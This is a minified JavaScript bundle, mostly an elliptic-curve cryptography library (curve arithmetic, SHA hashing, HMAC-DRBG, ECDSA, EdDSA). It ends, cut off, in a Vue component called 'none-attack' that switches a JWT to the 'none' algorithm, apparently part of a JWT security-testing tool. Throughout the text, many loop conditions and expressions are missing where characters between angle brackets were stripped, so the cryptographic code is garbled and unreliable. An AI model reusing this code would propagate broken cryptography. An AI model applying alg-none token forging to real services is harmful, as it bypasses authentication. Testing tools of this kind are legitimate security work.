j=!0;for(m=0;m=0&&K++,$=$.dblp(K),p<0)break;for(m=0;m0?E=s[m][H-1>>1]:H<0&&(E=s[m][-H-1>>1].neg()),E.type==="affine"?$=$.mixedAdd(E):$=$.add(E))}}for(p=0;p=Math.ceil((t.bitLength()+1)/r.step):!1};It.prototype._getDoubles=function(t,r){if(this.precomputed&&this.precomputed.doubles)return this.precomputed.doubles;for(var n=[this],i=this,a=0;a=0&&(I=b,B=p),m.negative&&(m=m.neg(),E=E.neg()),I.negative&&(I=I.neg(),B=B.neg()),[{a:m,b:E},{a:I,b:B}]};Ot.prototype._endoSplit=function(t){var r=this.endo.basis,n=r[0],i=r[1],a=i.b.mul(t).divRound(this.n),o=n.b.neg().mul(t).divRound(this.n),s=a.mul(n.a),c=o.mul(i.a),b=a.mul(n.b),p=o.mul(i.b),m=t.sub(s).sub(c),E=b.add(p).neg();return{k1:m,k2:E}};Ot.prototype.pointFromX=function(t,r){t=new ke(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr().redMul(t).redIAdd(t.redMul(this.a)).redIAdd(this.b),i=n.redSqrt();if(i.redSqr().redSub(n).cmp(this.zero)!==0)throw new Error("invalid point");var a=i.fromRed().isOdd();return(r&&!a||!r&&a)&&(i=i.redNeg()),this.point(t,i)};Ot.prototype.validate=function(t){if(t.inf)return!0;var r=t.x,n=t.y,i=this.a.redMul(r),a=r.redSqr().redMul(r).redIAdd(i).redIAdd(this.b);return n.redSqr().redISub(a).cmpn(0)===0};Ot.prototype._endoWnafMulAdd=function(t,r,n){for(var i=this._endoWnafT1,a=this._endoWnafT2,o=0;o":""};Ze.prototype.isInfinity=function(){return this.inf};Ze.prototype.add=function(t){if(this.inf)return t;if(t.inf)return this;if(this.eq(t))return this.dbl();if(this.neg().eq(t))return this.curve.point(null,null);if(this.x.cmp(t.x)===0)return this.curve.point(null,null);var r=this.y.redSub(t.y);r.cmpn(0)!==0&&(r=r.redMul(this.x.redSub(t.x).redInvm()));var n=r.redSqr().redISub(this.x).redISub(t.x),i=r.redMul(this.x.redSub(n)).redISub(this.y);return this.curve.point(n,i)};Ze.prototype.dbl=function(){if(this.inf)return this;var t=this.y.redAdd(this.y);if(t.cmpn(0)===0)return this.curve.point(null,null);var r=this.curve.a,n=this.x.redSqr(),i=t.redInvm(),a=n.redAdd(n).redIAdd(n).redIAdd(r).redMul(i),o=a.redSqr().redISub(this.x.redAdd(this.x)),s=a.redMul(this.x.redSub(o)).redISub(this.y);return this.curve.point(o,s)};Ze.prototype.getX=function(){return this.x.fromRed()};Ze.prototype.getY=function(){return this.y.fromRed()};Ze.prototype.mul=function(t){return t=new ke(t,16),this.isInfinity()?this:this._hasDoubles(t)?this.curve._fixedNafMul(this,t):this.curve.endo?this.curve._endoWnafMulAdd([this],[t]):this.curve._wnafMul(this,t)};Ze.prototype.mulAdd=function(t,r,n){var i=[this,r],a=[t,n];return this.curve.endo?this.curve._endoWnafMulAdd(i,a):this.curve._wnafMulAdd(1,i,a,2)};Ze.prototype.jmulAdd=function(t,r,n){var i=[this,r],a=[t,n];return this.curve.endo?this.curve._endoWnafMulAdd(i,a,!0):this.curve._wnafMulAdd(1,i,a,2,!0)};Ze.prototype.eq=function(t){return this===t||this.inf===t.inf&&(this.inf||this.x.cmp(t.x)===0&&this.y.cmp(t.y)===0)};Ze.prototype.neg=function(t){if(this.inf)return this;var r=this.curve.point(this.x,this.y.redNeg());if(t&&this.precomputed){var n=this.precomputed,i=function(a){return a.neg()};r.precomputed={naf:n.naf&&{wnd:n.naf.wnd,points:n.naf.points.map(i)},doubles:n.doubles&&{step:n.doubles.step,points:n.doubles.points.map(i)}}}return r};Ze.prototype.toJ=function(){if(this.inf)return this.curve.jpoint(null,null,null);var t=this.curve.jpoint(this.x,this.y,this.curve.one);return t};function rt(e,t,r,n){mn.BasePoint.call(this,e,"jacobian"),t===null&&r===null&&n===null?(this.x=this.curve.one,this.y=this.curve.one,this.z=new ke(0)):(this.x=new ke(t,16),this.y=new ke(r,16),this.z=new ke(n,16)),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.zOne=this.z===this.curve.one}no(rt,mn.BasePoint);Ot.prototype.jpoint=function(t,r,n){return new rt(this,t,r,n)};rt.prototype.toP=function(){if(this.isInfinity())return this.curve.point(null,null);var t=this.z.redInvm(),r=t.redSqr(),n=this.x.redMul(r),i=this.y.redMul(r).redMul(t);return this.curve.point(n,i)};rt.prototype.neg=function(){return this.curve.jpoint(this.x,this.y.redNeg(),this.z)};rt.prototype.add=function(t){if(this.isInfinity())return t;if(t.isInfinity())return this;var r=t.z.redSqr(),n=this.z.redSqr(),i=this.x.redMul(r),a=t.x.redMul(n),o=this.y.redMul(r.redMul(t.z)),s=t.y.redMul(n.redMul(this.z)),c=i.redSub(a),b=o.redSub(s);if(c.cmpn(0)===0)return b.cmpn(0)!==0?this.curve.jpoint(null,null,null):this.dbl();var p=c.redSqr(),m=p.redMul(c),E=i.redMul(p),I=b.redSqr().redIAdd(m).redISub(E).redISub(E),B=b.redMul(E.redISub(I)).redISub(o.redMul(m)),C=this.z.redMul(t.z).redMul(c);return this.curve.jpoint(I,B,C)};rt.prototype.mixedAdd=function(t){if(this.isInfinity())return t.toJ();if(t.isInfinity())return this;var r=this.z.redSqr(),n=this.x,i=t.x.redMul(r),a=this.y,o=t.y.redMul(r).redMul(this.z),s=n.redSub(i),c=a.redSub(o);if(s.cmpn(0)===0)return c.cmpn(0)!==0?this.curve.jpoint(null,null,null):this.dbl();var b=s.redSqr(),p=b.redMul(s),m=n.redMul(b),E=c.redSqr().redIAdd(p).redISub(m).redISub(m),I=c.redMul(m.redISub(E)).redISub(a.redMul(p)),B=this.z.redMul(s);return this.curve.jpoint(E,I,B)};rt.prototype.dblp=function(t){if(t===0)return this;if(this.isInfinity())return this;if(!t)return this.dbl();var r;if(this.curve.zeroA||this.curve.threeA){var n=this;for(r=0;r=0)return!1;if(n.redIAdd(a),this.x.cmp(n)===0)return!0}};rt.prototype.inspect=function(){return this.isInfinity()?"":""};rt.prototype.isInfinity=function(){return this.z.cmpn(0)===0};var Gr=Nt,_f=zt,vi=bi,K0=mt;function gn(e){vi.call(this,"mont",e),this.a=new Gr(e.a,16).toRed(this.red),this.b=new Gr(e.b,16).toRed(this.red),this.i4=new Gr(4).toRed(this.red).redInvm(),this.two=new Gr(2).toRed(this.red),this.a24=this.i4.redMul(this.a.redAdd(this.two))}_f(gn,vi);var W0=gn;gn.prototype.validate=function(t){var r=t.normalize().x,n=r.redSqr(),i=n.redMul(r).redAdd(n.redMul(this.a)).redAdd(r),a=i.redSqrt();return a.redSqr().cmp(i)===0};function Ge(e,t,r){vi.BasePoint.call(this,e,"projective"),t===null&&r===null?(this.x=this.curve.one,this.z=this.curve.zero):(this.x=new Gr(t,16),this.z=new Gr(r,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)))}_f(Ge,vi.BasePoint);gn.prototype.decodePoint=function(t,r){return this.point(K0.toArray(t,r),1)};gn.prototype.point=function(t,r){return new Ge(this,t,r)};gn.prototype.pointFromJSON=function(t){return Ge.fromJSON(this,t)};Ge.prototype.precompute=function(){};Ge.prototype._encode=function(){return this.getX().toArray("be",this.curve.p.byteLength())};Ge.fromJSON=function(t,r){return new Ge(t,r[0],r[1]||t.one)};Ge.prototype.inspect=function(){return this.isInfinity()?"":""};Ge.prototype.isInfinity=function(){return this.z.cmpn(0)===0};Ge.prototype.dbl=function(){var t=this.x.redAdd(this.z),r=t.redSqr(),n=this.x.redSub(this.z),i=n.redSqr(),a=r.redSub(i),o=r.redMul(i),s=a.redMul(i.redAdd(this.curve.a24.redMul(a)));return this.curve.point(o,s)};Ge.prototype.add=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.diffAdd=function(t,r){var n=this.x.redAdd(this.z),i=this.x.redSub(this.z),a=t.x.redAdd(t.z),o=t.x.redSub(t.z),s=o.redMul(n),c=a.redMul(i),b=r.z.redMul(s.redAdd(c).redSqr()),p=r.x.redMul(s.redISub(c).redSqr());return this.curve.point(b,p)};Ge.prototype.mul=function(t){for(var r=t.clone(),n=this,i=this.curve.point(null,null),a=this,o=[];r.cmpn(0)!==0;r.iushrn(1))o.push(r.andln(1));for(var s=o.length-1;s>=0;s--)o[s]===0?(n=n.diffAdd(i,a),i=i.dbl()):(i=n.diffAdd(i,a),n=n.dbl());return i};Ge.prototype.mulAdd=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.jumlAdd=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.eq=function(t){return this.getX().cmp(t.getX())===0};Ge.prototype.normalize=function(){return this.x=this.x.redMul(this.z.redInvm()),this.z=this.curve.one,this};Ge.prototype.getX=function(){return this.normalize(),this.x.fromRed()};var J0=mt,fr=Nt,Ef=zt,mi=bi,Y0=J0.assert;function tr(e){this.twisted=(e.a|0)!==1,this.mOneA=this.twisted&&(e.a|0)===-1,this.extended=this.mOneA,mi.call(this,"edwards",e),this.a=new fr(e.a,16).umod(this.red.m),this.a=this.a.toRed(this.red),this.c=new fr(e.c,16).toRed(this.red),this.c2=this.c.redSqr(),this.d=new fr(e.d,16).toRed(this.red),this.dd=this.d.redAdd(this.d),Y0(!this.twisted||this.c.fromRed().cmpn(1)===0),this.oneC=(e.c|0)===1}Ef(tr,mi);var X0=tr;tr.prototype._mulA=function(t){return this.mOneA?t.redNeg():this.a.redMul(t)};tr.prototype._mulC=function(t){return this.oneC?t:this.c.redMul(t)};tr.prototype.jpoint=function(t,r,n,i){return this.point(t,r,n,i)};tr.prototype.pointFromX=function(t,r){t=new fr(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr(),i=this.c2.redSub(this.a.redMul(n)),a=this.one.redSub(this.c2.redMul(this.d).redMul(n)),o=i.redMul(a.redInvm()),s=o.redSqrt();if(s.redSqr().redSub(o).cmp(this.zero)!==0)throw new Error("invalid point");var c=s.fromRed().isOdd();return(r&&!c||!r&&c)&&(s=s.redNeg()),this.point(t,s)};tr.prototype.pointFromY=function(t,r){t=new fr(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr(),i=n.redSub(this.c2),a=n.redMul(this.d).redMul(this.c2).redSub(this.a),o=i.redMul(a.redInvm());if(o.cmp(this.zero)===0){if(r)throw new Error("invalid point");return this.point(this.zero,t)}var s=o.redSqrt();if(s.redSqr().redSub(o).cmp(this.zero)!==0)throw new Error("invalid point");return s.fromRed().isOdd()!==r&&(s=s.redNeg()),this.point(s,t)};tr.prototype.validate=function(t){if(t.isInfinity())return!0;t.normalize();var r=t.x.redSqr(),n=t.y.redSqr(),i=r.redMul(this.a).redAdd(n),a=this.c2.redMul(this.one.redAdd(this.d.redMul(r).redMul(n)));return i.cmp(a)===0};function Se(e,t,r,n,i){mi.BasePoint.call(this,e,"projective"),t===null&&r===null&&n===null?(this.x=this.curve.zero,this.y=this.curve.one,this.z=this.curve.one,this.t=this.curve.zero,this.zOne=!0):(this.x=new fr(t,16),this.y=new fr(r,16),this.z=n?new fr(n,16):this.curve.one,this.t=i&&new fr(i,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.t&&!this.t.red&&(this.t=this.t.toRed(this.curve.red)),this.zOne=this.z===this.curve.one,this.curve.extended&&!this.t&&(this.t=this.x.redMul(this.y),this.zOne||(this.t=this.t.redMul(this.z.redInvm()))))}Ef(Se,mi.BasePoint);tr.prototype.pointFromJSON=function(t){return Se.fromJSON(this,t)};tr.prototype.point=function(t,r,n,i){return new Se(this,t,r,n,i)};Se.fromJSON=function(t,r){return new Se(t,r[0],r[1],r[2])};Se.prototype.inspect=function(){return this.isInfinity()?"":""};Se.prototype.isInfinity=function(){return this.x.cmpn(0)===0&&(this.y.cmp(this.z)===0||this.zOne&&this.y.cmp(this.curve.c)===0)};Se.prototype._extDbl=function(){var t=this.x.redSqr(),r=this.y.redSqr(),n=this.z.redSqr();n=n.redIAdd(n);var i=this.curve._mulA(t),a=this.x.redAdd(this.y).redSqr().redISub(t).redISub(r),o=i.redAdd(r),s=o.redSub(n),c=i.redSub(r),b=a.redMul(s),p=o.redMul(c),m=a.redMul(c),E=s.redMul(o);return this.curve.point(b,p,E,m)};Se.prototype._projDbl=function(){var t=this.x.redAdd(this.y).redSqr(),r=this.x.redSqr(),n=this.y.redSqr(),i,a,o,s,c,b;if(this.curve.twisted){s=this.curve._mulA(r);var p=s.redAdd(n);this.zOne?(i=t.redSub(r).redSub(n).redMul(p.redSub(this.curve.two)),a=p.redMul(s.redSub(n)),o=p.redSqr().redSub(p).redSub(p)):(c=this.z.redSqr(),b=p.redSub(c).redISub(c),i=t.redSub(r).redISub(n).redMul(b),a=p.redMul(s.redSub(n)),o=p.redMul(b))}else s=r.redAdd(n),c=this.curve._mulC(this.z).redSqr(),b=s.redSub(c).redSub(c),i=this.curve._mulC(t.redISub(s)).redMul(b),a=this.curve._mulC(s).redMul(r.redISub(n)),o=s.redMul(b);return this.curve.point(i,a,o)};Se.prototype.dbl=function(){return this.isInfinity()?this:this.curve.extended?this._extDbl():this._projDbl()};Se.prototype._extAdd=function(t){var r=this.y.redSub(this.x).redMul(t.y.redSub(t.x)),n=this.y.redAdd(this.x).redMul(t.y.redAdd(t.x)),i=this.t.redMul(this.curve.dd).redMul(t.t),a=this.z.redMul(t.z.redAdd(t.z)),o=n.redSub(r),s=a.redSub(i),c=a.redAdd(i),b=n.redAdd(r),p=o.redMul(s),m=c.redMul(b),E=o.redMul(b),I=s.redMul(c);return this.curve.point(p,m,I,E)};Se.prototype._projAdd=function(t){var r=this.z.redMul(t.z),n=r.redSqr(),i=this.x.redMul(t.x),a=this.y.redMul(t.y),o=this.curve.d.redMul(i).redMul(a),s=n.redSub(o),c=n.redAdd(o),b=this.x.redAdd(this.y).redMul(t.x.redAdd(t.y)).redISub(i).redISub(a),p=r.redMul(s).redMul(b),m,E;return this.curve.twisted?(m=r.redMul(c).redMul(a.redSub(this.curve._mulA(i))),E=s.redMul(c)):(m=r.redMul(c).redMul(a.redSub(i)),E=this.curve._mulC(s).redMul(c)),this.curve.point(p,m,E)};Se.prototype.add=function(t){return this.isInfinity()?t:t.isInfinity()?this:this.curve.extended?this._extAdd(t):this._projAdd(t)};Se.prototype.mul=function(t){return this._hasDoubles(t)?this.curve._fixedNafMul(this,t):this.curve._wnafMul(this,t)};Se.prototype.mulAdd=function(t,r,n){return this.curve._wnafMulAdd(1,[this,r],[t,n],2,!1)};Se.prototype.jmulAdd=function(t,r,n){return this.curve._wnafMulAdd(1,[this,r],[t,n],2,!0)};Se.prototype.normalize=function(){if(this.zOne)return this;var t=this.z.redInvm();return this.x=this.x.redMul(t),this.y=this.y.redMul(t),this.t&&(this.t=this.t.redMul(t)),this.z=this.curve.one,this.zOne=!0,this};Se.prototype.neg=function(){return this.curve.point(this.x.redNeg(),this.y,this.z,this.t&&this.t.redNeg())};Se.prototype.getX=function(){return this.normalize(),this.x.fromRed()};Se.prototype.getY=function(){return this.normalize(),this.y.fromRed()};Se.prototype.eq=function(t){return this===t||this.getX().cmp(t.getX())===0&&this.getY().cmp(t.getY())===0};Se.prototype.eqXToP=function(t){var r=t.toRed(this.curve.red).redMul(this.z);if(this.x.cmp(r)===0)return!0;for(var n=t.clone(),i=this.curve.redN.redMul(this.z);;){if(n.iadd(this.curve.n),n.cmp(this.curve.p)>=0)return!1;if(r.redIAdd(i),this.x.cmp(r)===0)return!0}};Se.prototype.toP=Se.prototype.normalize;Se.prototype.mixedAdd=Se.prototype.add;(function(e){var t=e;t.base=bi,t.short=V0,t.mont=W0,t.edwards=X0})(ro);var gi={},yi={},se={},G0=Ar,Z0=zt;se.inherits=Z0;function Q0(e,t){return(e.charCodeAt(t)&64512)!==55296||t<0||t+1>=e.length?!1:(e.charCodeAt(t+1)&64512)===56320}function eh(e,t){if(Array.isArray(e))return e.slice();if(!e)return[];var r=[];if(typeof e=="string")if(t){if(t==="hex")for(e=e.replace(/[^a-z0-9]+/ig,""),e.length%2!==0&&(e="0"+e),i=0;i>6|192,r[n++]=a&63|128):Q0(e,i)?(a=65536+((a&1023)<<10)+(e.charCodeAt(++i)&1023),r[n++]=a>>18|240,r[n++]=a>>12&63|128,r[n++]=a>>6&63|128,r[n++]=a&63|128):(r[n++]=a>>12|224,r[n++]=a>>6&63|128,r[n++]=a&63|128)}else for(i=0;i>>24|e>>>8&65280|e<<8&16711680|(e&255)<<24;return t>>>0}se.htonl=Af;function rh(e,t){for(var r="",n=0;n>>0}return a}se.join32=nh;function ih(e,t){for(var r=new Array(e.length*4),n=0,i=0;n>>24,r[i+1]=a>>>16&255,r[i+2]=a>>>8&255,r[i+3]=a&255):(r[i+3]=a>>>24,r[i+2]=a>>>16&255,r[i+1]=a>>>8&255,r[i]=a&255)}return r}se.split32=ih;function ah(e,t){return e>>>t|e<<32-t}se.rotr32=ah;function oh(e,t){return e<>>32-t}se.rotl32=oh;function sh(e,t){return e+t>>>0}se.sum32=sh;function fh(e,t,r){return e+t+r>>>0}se.sum32_3=fh;function lh(e,t,r,n){return e+t+r+n>>>0}se.sum32_4=lh;function uh(e,t,r,n,i){return e+t+r+n+i>>>0}se.sum32_5=uh;function dh(e,t,r,n){var i=e[t],a=e[t+1],o=n+a>>>0,s=(o>>0,e[t+1]=o}se.sum64=dh;function ch(e,t,r,n){var i=t+n>>>0,a=(i>>0}se.sum64_hi=ch;function hh(e,t,r,n){var i=t+n;return i>>>0}se.sum64_lo=hh;function ph(e,t,r,n,i,a,o,s){var c=0,b=t;b=b+n>>>0,c+=b>>0,c+=b>>0,c+=b>>0}se.sum64_4_hi=ph;function bh(e,t,r,n,i,a,o,s){var c=t+n+a+s;return c>>>0}se.sum64_4_lo=bh;function vh(e,t,r,n,i,a,o,s,c,b){var p=0,m=t;m=m+n>>>0,p+=m>>0,p+=m>>0,p+=m>>0,p+=m>>0}se.sum64_5_hi=vh;function mh(e,t,r,n,i,a,o,s,c,b){var p=t+n+a+s+b;return p>>>0}se.sum64_5_lo=mh;function gh(e,t,r){var n=t<<32-r|e>>>r;return n>>>0}se.rotr64_hi=gh;function yh(e,t,r){var n=e<<32-r|t>>>r;return n>>>0}se.rotr64_lo=yh;function xh(e,t,r){return e>>>r}se.shr64_hi=xh;function wh(e,t,r){var n=e<<32-r|t>>>r;return n>>>0}se.shr64_lo=wh;var yn={},qo=se,Sh=Ar;function xi(){this.pending=null,this.pendingTotal=0,this.blockSize=this.constructor.blockSize,this.outSize=this.constructor.outSize,this.hmacStrength=this.constructor.hmacStrength,this.padLength=this.constructor.padLength/8,this.endian="big",this._delta8=this.blockSize/8,this._delta32=this.blockSize/32}yn.BlockHash=xi;xi.prototype.update=function(t,r){if(t=qo.toArray(t,r),this.pending?this.pending=this.pending.concat(t):this.pending=t,this.pendingTotal+=t.length,this.pending.length>=this._delta8){t=this.pending;var n=t.length%this._delta8;this.pending=t.slice(t.length-n,t.length),this.pending.length===0&&(this.pending=null),t=qo.join32(t,0,t.length-n,this.endian);for(var i=0;i>>24&255,i[a++]=t>>>16&255,i[a++]=t>>>8&255,i[a++]=t&255}else for(i[a++]=t&255,i[a++]=t>>>8&255,i[a++]=t>>>16&255,i[a++]=t>>>24&255,i[a++]=0,i[a++]=0,i[a++]=0,i[a++]=0,o=8;o>>3}rr.g0_256=Ih;function Oh(e){return Vt(e,17)^Vt(e,19)^e>>>10}rr.g1_256=Oh;var fn=se,Bh=yn,kh=rr,na=fn.rotl32,An=fn.sum32,Ch=fn.sum32_5,Rh=kh.ft_1,Rf=Bh.BlockHash,$h=[1518500249,1859775393,2400959708,3395469782];function Xt(){if(!(this instanceof Xt))return new Xt;Rf.call(this),this.h=[1732584193,4023233417,2562383102,271733878,3285377520],this.W=new Array(80)}fn.inherits(Xt,Rf);var Th=Xt;Xt.blockSize=512;Xt.outSize=160;Xt.hmacStrength=80;Xt.padLength=64;Xt.prototype._update=function(t,r){for(var n=this.W,i=0;i<16;i++)n[i]=t[r+i];for(;ithis.blockSize&&(t=new this.Hash().update(t).digest()),wp(t.length<=this.blockSize);for(var r=t.length;r=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._init(t,r,n)}var Ep=Sr;Sr.prototype._init=function(t,r,n){var i=t.concat(r).concat(n);this.K=new Array(this.outLen/8),this.V=new Array(this.outLen/8);for(var a=0;a=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._update(t.concat(n||[])),this._reseed=1};Sr.prototype.generate=function(t,r,n,i){if(this._reseed>this.reseedInterval)throw new Error("Reseed is required");typeof r!="string"&&(i=n,n=r,r=null),n&&(n=Dr.toArray(n,i||"hex"),this._update(n));for(var a=[];a.length"};var ri=Nt,io=mt,Bp=io.assert;function wi(e,t){if(e instanceof wi)return e;this._importDER(e,t)||(Bp(e.r&&e.s,"Signature without r or s"),this.r=new ri(e.r,16),this.s=new ri(e.s,16),e.recoveryParam===void 0?this.recoveryParam=null:this.recoveryParam=e.recoveryParam)}var kp=wi;function Cp(){this.place=0}function sa(e,t){var r=e[t.place++];if(!(r&128))return r;var n=r&15;if(n===0||n>4)return!1;for(var i=0,a=0,o=t.place;a>>=0;return i<=127?!1:(t.place=o,i)}function Jo(e){for(var t=0,r=e.length-1;!e[t]&&!(e[t+1]&128)&&t>>3);for(e.push(r|128);--r;)e.push(t>>>(r<<3)&255);e.push(t)}wi.prototype.toDER=function(t){var r=this.r.toArray(),n=this.s.toArray();for(r[0]&128&&(r=[0].concat(r)),n[0]&128&&(n=[0].concat(n)),r=Jo(r),n=Jo(n);!n[0]&&!(n[1]&128);)n=n.slice(1);var i=[2];fa(i,r.length),i=i.concat(r),i.push(2),fa(i,n.length);var a=i.concat(n),o=[48];return fa(o,a.length),o=o.concat(a),io.encode(o,t)};var Fr=Nt,Hf=Ep,Rp=mt,la=gi,$p=Mf,Vf=Rp.assert,ao=Op,Si=kp;function Et(e){if(!(this instanceof Et))return new Et(e);typeof e=="string"&&(Vf(Object.prototype.hasOwnProperty.call(la,e),"Unknown curve "+e),e=la[e]),e instanceof la.PresetCurve&&(e={curve:e}),this.curve=e.curve.curve,this.n=this.curve.n,this.nh=this.n.ushrn(1),this.g=this.curve.g,this.g=e.curve.g,this.g.precompute(e.curve.n.bitLength()+1),this.hash=e.hash||e.curve.hash}var Tp=Et;Et.prototype.keyPair=function(t){return new ao(this,t)};Et.prototype.keyFromPrivate=function(t,r){return ao.fromPrivate(this,t,r)};Et.prototype.keyFromPublic=function(t,r){return ao.fromPublic(this,t,r)};Et.prototype.genKeyPair=function(t){t||(t={});for(var r=new Hf({hash:this.hash,pers:t.pers,persEnc:t.persEnc||"utf8",entropy:t.entropy||$p(this.hash.hmacStrength),entropyEnc:t.entropy&&t.entropyEnc||"utf8",nonce:this.n.toArray()}),n=this.n.byteLength(),i=this.n.sub(new Fr(2));;){var a=new Fr(r.generate(n));if(!(a.cmp(i)>0))return a.iaddn(1),this.keyFromPrivate(a)}};Et.prototype._truncateToN=function(t,r){var n=t.byteLength()*8-this.n.bitLength();return n>0&&(t=t.ushrn(n)),!r&&t.cmp(this.n)>=0?t.sub(this.n):t};Et.prototype.sign=function(t,r,n,i){typeof n=="object"&&(i=n,n=null),i||(i={}),r=this.keyFromPrivate(r,n),t=this._truncateToN(new Fr(t,16));for(var a=this.n.byteLength(),o=r.getPrivate().toArray("be",a),s=t.toArray("be",a),c=new Hf({hash:this.hash,entropy:o,nonce:s,pers:i.pers,persEnc:i.persEnc||"utf8"}),b=this.n.sub(new Fr(1)),p=0;;p++){var m=i.k?i.k(p):new Fr(c.generate(this.n.byteLength()));if(m=this._truncateToN(m,!0),!(m.cmpn(1)<=0||m.cmp(b)>=0)){var E=this.g.mul(m);if(!E.isInfinity()){var I=E.getX(),B=I.umod(this.n);if(B.cmpn(0)!==0){var C=m.invm(this.n).mul(B.mul(r.getPrivate()).iadd(t));if(C=C.umod(this.n),C.cmpn(0)!==0){var F=(E.getY().isOdd()?1:0)|(I.cmp(B)!==0?2:0);return i.canonical&&C.cmp(this.nh)>0&&(C=this.n.sub(C),F^=1),new Si({r:B,s:C,recoveryParam:F})}}}}}};Et.prototype.verify=function(t,r,n,i){t=this._truncateToN(new Fr(t,16)),n=this.keyFromPublic(n,i),r=new Si(r,"hex");var a=r.r,o=r.s;if(a.cmpn(1)<0||a.cmp(this.n)>=0||o.cmpn(1)<0||o.cmp(this.n)>=0)return!1;var s=o.invm(this.n),c=s.mul(t).umod(this.n),b=s.mul(a).umod(this.n),p;return this.curve._maxwellTrick?(p=this.g.jmulAdd(c,n.getPublic(),b),p.isInfinity()?!1:p.eqXToP(a)):(p=this.g.mulAdd(c,n.getPublic(),b),p.isInfinity()?!1:p.getX().umod(this.n).cmp(a)===0)};Et.prototype.recoverPubKey=function(e,t,r,n){Vf((3&r)===r,"The recovery param is more than two bits"),t=new Si(t,n);var i=this.n,a=new Fr(e),o=t.r,s=t.s,c=r&1,b=r>>1;if(o.cmp(this.curve.p.umod(this.curve.n))>=0&&b)throw new Error("Unable to find sencond key candinate");b?o=this.curve.pointFromX(o.add(this.curve.n),c):o=this.curve.pointFromX(o,c);var p=t.r.invm(i),m=i.sub(a).mul(p).umod(i),E=s.mul(p).umod(i);return this.g.mulAdd(m,o,E)};Et.prototype.getKeyRecoveryParam=function(e,t,r,n){if(t=new Si(t,n),t.recoveryParam!==null)return t.recoveryParam;for(var i=0;i<4;i++){var a;try{a=this.recoverPubKey(e,t,i)}catch{continue}if(a.eq(r))return i}throw new Error("Unable to find valid recovery factor")};var jn=mt,Kf=jn.assert,Yo=jn.parseBytes,Sn=jn.cachedProperty;function Xe(e,t){this.eddsa=e,this._secret=Yo(t.secret),e.isPoint(t.pub)?this._pub=t.pub:this._pubBytes=Yo(t.pub)}Xe.fromPublic=function(t,r){return r instanceof Xe?r:new Xe(t,{pub:r})};Xe.fromSecret=function(t,r){return r instanceof Xe?r:new Xe(t,{secret:r})};Xe.prototype.secret=function(){return this._secret};Sn(Xe,"pubBytes",function(){return this.eddsa.encodePoint(this.pub())});Sn(Xe,"pub",function(){return this._pubBytes?this.eddsa.decodePoint(this._pubBytes):this.eddsa.g.mul(this.priv())});Sn(Xe,"privBytes",function(){var t=this.eddsa,r=this.hash(),n=t.encodingLength-1,i=r.slice(0,t.encodingLength);return i[0]&=248,i[n]&=127,i[n]|=64,i});Sn(Xe,"priv",function(){return this.eddsa.decodeInt(this.privBytes())});Sn(Xe,"hash",function(){return this.eddsa.hash().update(this.secret()).digest()});Sn(Xe,"messagePrefix",function(){return this.hash().slice(this.eddsa.encodingLength)});Xe.prototype.sign=function(t){return Kf(this._secret,"KeyPair can only verify"),this.eddsa.sign(t,this)};Xe.prototype.verify=function(t,r){return this.eddsa.verify(t,r,this)};Xe.prototype.getSecret=function(t){return Kf(this._secret,"KeyPair is public only"),jn.encode(this.secret(),t)};Xe.prototype.getPublic=function(t){return jn.encode(this.pubBytes(),t)};var Pp=Xe,Np=Nt,Mi=mt,zp=Mi.assert,_i=Mi.cachedProperty,Dp=Mi.parseBytes;function Jr(e,t){this.eddsa=e,typeof t!="object"&&(t=Dp(t)),Array.isArray(t)&&(t={R:t.slice(0,e.encodingLength),S:t.slice(e.encodingLength)}),zp(t.R&&t.S,"Signature without R or S"),e.isPoint(t.R)&&(this._R=t.R),t.S instanceof Np&&(this._S=t.S),this._Rencoded=Array.isArray(t.R)?t.R:t.Rencoded,this._Sencoded=Array.isArray(t.S)?t.S:t.Sencoded}_i(Jr,"S",function(){return this.eddsa.decodeInt(this.Sencoded())});_i(Jr,"R",function(){return this.eddsa.decodePoint(this.Rencoded())});_i(Jr,"Rencoded",function(){return this.eddsa.encodePoint(this.R())});_i(Jr,"Sencoded",function(){return this.eddsa.encodeInt(this.S())});Jr.prototype.toBytes=function(){return this.Rencoded().concat(this.Sencoded())};Jr.prototype.toHex=function(){return Mi.encode(this.toBytes(),"hex").toUpperCase()};var Fp=Jr,Lp=yi,jp=gi,dn=mt,Up=dn.assert,Wf=dn.parseBytes,Jf=Pp,Xo=Fp;function lt(e){if(Up(e==="ed25519","only tested with ed25519 so far"),!(this instanceof lt))return new lt(e);e=jp[e].curve,this.curve=e,this.g=e.g,this.g.precompute(e.n.bitLength()+1),this.pointClass=e.point().constructor,this.encodingLength=Math.ceil(e.n.bitLength()/8),this.hash=Lp.sha512}var qp=lt;lt.prototype.sign=function(t,r){t=Wf(t);var n=this.keyFromSecret(r),i=this.hashInt(n.messagePrefix(),t),a=this.g.mul(i),o=this.encodePoint(a),s=this.hashInt(o,n.pubBytes(),t).mul(n.priv()),c=i.add(s).umod(this.curve.n);return this.makeSignature({R:a,S:c,Rencoded:o})};lt.prototype.verify=function(t,r,n){t=Wf(t),r=this.makeSignature(r);var i=this.keyFromPublic(n),a=this.hashInt(r.Rencoded(),i.pubBytes(),t),o=this.g.mul(r.S()),s=r.R().add(i.pub().mul(a));return s.eq(o)};lt.prototype.hashInt=function(){for(var t=this.hash(),r=0;r({value:""})}),n0={class:"flex justify-center"},i0=xe({__name:"none-attack",setup(e){const t=Fn(),r=si().value,n=_r().value,i=bn({algorithms:Object.values(St),options:{algorithm:Pr.NONE}});return Je(i,async()=>{e0(["jwt-token"]);try{const a=t0(t.value,i.options.algorithm);t.value=a,r.header=JSON.stringify(qr(t.value)[0],null,2)}catch{sf(["jwt-token"])}}),Je(t,async()=>{n.payload=t.value}),(a,s)=>{const o=Qt,d=oi,b=Dn;return 